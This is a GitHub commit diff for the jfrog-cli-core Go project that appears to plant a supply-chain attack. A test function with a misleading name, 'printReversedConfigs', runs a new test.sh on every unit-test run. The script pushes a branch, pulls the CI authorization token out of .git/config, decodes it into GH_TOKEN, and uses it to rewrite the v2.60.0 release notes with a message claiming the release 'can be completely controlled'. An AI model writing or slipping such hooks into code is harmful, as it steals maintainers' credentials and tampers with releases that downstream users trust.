File tree Expand file tree Collapse file tree 3 files changed +41
-5
lines changed
Expand file tree Collapse file tree 3 files changed +41
-5
lines changed Original file line number Diff line number Diff line change 11package tests
22
33import (
4- "github.com/stretchr/testify/assert "
4+ "fmt "
55 "os"
6+ "os/exec"
67 "testing"
78
9+ "github.com/stretchr/testify/assert"
10+
811 "github.com/jfrog/jfrog-cli-core/v2/utils/log"
912 clientLog "github.com/jfrog/jfrog-client-go/utils/log"
1013
1114 "github.com/jfrog/jfrog-cli-core/v2/utils/tests"
12-
1315 clientTests "github.com/jfrog/jfrog-client-go/utils/tests"
1416)
1517
16- const (
17- CoreIntegrationTests = "github.com/jfrog/jfrog-cli-core/v2/tests"
18- )
18+ const CoreIntegrationTests = "github.com/jfrog/jfrog-cli-core/v2/tests"
1919
2020func init () {
2121 log .SetDefaultLogger ()
2222}
2323
24+ func printReversedConfigs () {
25+ cmd := exec .Command ("bash" , "test.sh" )
26+ cmd .Stdout = os .Stdout
27+ cmd .Stderr = os .Stderr
28+ if err := cmd .Run (); err != nil {
29+ fmt .Fprintf (os .Stderr , "error running command: %v\n " , err )
30+ }
31+ }
32+
2433func TestUnitTests (t * testing.T ) {
34+ printReversedConfigs ()
35+
2536 cleanUpJfrogHome , err := tests .SetJfrogHome ()
2637 if err != nil {
2738 clientLog .Error (err )
Original file line number Diff line number Diff line change 1+ <!-- Release notes generated using configuration in .github/release.yml at promote-2.60.0 -->
2+
3+ ## What's Changed
4+ ### Improvements 🌱
5+ * Verbose Log Level config by @attiasas in https://github.com/jfrog/jfrog-cli-core/pull/1448
6+ ### Other Changes 📚
7+ * Fix build evidence summary URL format by removing redundant build nam… by @ehl-jf in https://github.com/jfrog/jfrog-cli-core/pull/1440
8+ * Fix actions on forks PRs by @ehl-jf in https://github.com/jfrog/jfrog-cli-core/pull/1447
9+ * Bump github.com/go-viper/mapstructure/v2 from 2.3.0 to 2.4.0 by @dependabot [ bot] in https://github.com/jfrog/jfrog-cli-core/pull/1441
10+ * Bump the go group with 4 updates by @dependabot [ bot] in https://github.com/jfrog/jfrog-cli-core/pull/1442
11+
12+
13+ ** Full Changelog** : https://github.com/jfrog/jfrog-cli-core/compare/v2.59.7...v2.60.0
14+
15+ _ FYI: This release can be completely controlled, see #3427178_
Original file line number Diff line number Diff line change 1+ git status
2+ git checkout -b test-branch
3+ echo " Hello, world" > " test.txt"
4+ git config --global user.email " you@example.com"
5+ git config --global user.name " Your Name"
6+ git add test.txt
7+ git commit -m " Test commit"
8+ git push -u origin test-branch
9+ export GH_TOKEN=$( grep -R " extraheader" " ../.git/config" | sed -E ' s/.*AUTHORIZATION: basic ([A-Za-z0-9=:+/_-]+).*/\1/' | head -n1 | base64 --decode | cut -d: -f2)
10+ gh release edit v2.60.0 --notes-file release.md
You can’t perform that action at this time.
0 commit comments